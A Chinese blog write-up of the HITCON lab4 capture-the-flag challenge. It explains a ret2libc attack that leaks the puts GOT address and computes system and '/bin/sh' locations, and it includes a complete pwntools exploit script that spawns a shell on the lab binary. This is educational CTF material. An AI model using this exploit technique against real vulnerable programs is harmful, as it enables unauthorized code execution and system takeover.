HITCON lab4 wp

0x01

之前在ctf-wiki上做过的re2lib,这道题也差不多。仿照ctf-wiki上的做法,想到需要用到libc.so 的延迟绑定技术,用 got 表泄露,即输出某个函数对应的 got 表项的内容,好了话不多说先看题,首先看保护:
在这里插入图片描述
只开了NX.
用IDA查看:
main():
在这里插入图片描述发现有个puts()函数,很容易想到用这个函数打印出它的真实地址,然后计算偏移量得到system函数的真实地址,在找到“/bin/sh”的地址就ok了。

from pwn import *

context.log_level = 'debug'
p = process('./ret2lib')
elf = ELF("./ret2lib")
lib = ELF("/lib/i386-linux-gnu/libc.so.6")

put_plt = elf.plt['puts']
put_got = elf.got['puts']
print "put_got: "+hex(put_got)
put_libc = lib.symbols['puts']
bin_libc = lib.search("/bin/sh").next()
sys_libc = lib.symbols["system"]

p.recvuntil(":")
p.sendline(str(put_got))

a = p.recvuntil("\n")
put_addr = int(a[-11:],16)
print hex(put_addr)


offset = put_addr - put_libc
sys_addr = sys_libc+ offset
bin_addr = bin_libc + offset

pay = "a"*60 + p32(sys_addr) + "aaaa" + p32(bin_addr)
p.recvuntil(":")
p.sendline(pay)

p.interactive()
发布了14 篇原创文章 · 获赞 6 · 访问量 2431

猜你喜欢

转载自blog.csdn.net/qq_43409582/article/details/101753488